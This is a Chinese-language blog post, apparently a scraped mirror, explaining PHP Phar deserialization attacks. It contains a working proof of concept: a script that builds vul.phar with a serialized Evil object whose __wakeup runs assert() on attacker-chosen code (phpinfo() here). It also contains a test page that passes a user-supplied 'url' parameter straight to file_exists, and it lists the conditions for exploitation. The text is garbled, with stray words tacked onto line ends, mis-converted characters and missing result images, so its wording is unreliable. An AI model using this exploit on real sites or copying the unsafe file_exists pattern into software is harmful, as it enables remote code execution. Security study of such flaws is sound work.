0x00 前言php
入職以來很久沒有寫過文章了,入職的時間裏也和師傅們學到了不少,認識了不少的新朋友。最近由於BlackHat 黑客大會的一個議題,PHP反序列化漏洞利用被挖掘出新的攻擊面。這裏本着記錄學習的目的,有了這篇文章。函數
0x01 Phar 反序列化學習
你看到本文,我默認認爲你已經對PHP反序列化漏洞原理以及成因有所瞭解,若是不瞭解能夠參考我以前的文章,這裏就很少講了。根據漏洞的原理,影響PHP反序列化漏洞利用的就一個函數unserialize(),這裏所謂新的攻擊面就是Phar協議解包時候觸發的反序列化漏洞。ui
首先生成Phar文件,擴展名能夠本身定義。代碼以下(phar.php):this
<?php require_once('Evil.class.php'); $exception = new Evil('phpinfo()'); $phar = new Phar("vul.phar"); $phar->startBuffering(); $phar->addFromString("test.txt", "test"); $phar->setStub("<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->stopBuffering(); ?>
Evil類的定義以下(Evil.class.php):url
<?php class Evil { protected $val; function __construct($val) { $this->val = $val; } function __wakeup() { assert($this->val); } } ?>
在訪問第一個文件(Phar.php)以後會生成一個文件名是vul.phar的文件,內容以下:spa
能夠看到中間有序列化以後的字符。其實Phar在打包一個文件的時候是會對其進行序列化的。而後咱們訪問(test.php), 代碼以下:code
require_once('Evil.class.php'); if ( file_exists($_REQUEST['url']) ) { echo 'success!'; } else { echo 'error!'; }
訪問結果如圖:blog
0x02 如何挖掘io
從以上的實驗中,咱們能夠得出一個結論,漏洞的利用條件有三點:
第一,存在反序列化的輸入點,這裏就是存在可以訪問的phar歸檔文件;
第二,存在漏洞觸發點,這裏是存在相似file_exists這樣的函數,而且文件名完整可控;
第三,存在可以利用的類。
其中第三點,咱們很清楚,這是反序列化漏洞的必備條件,第二點則至關於原先的unserialize。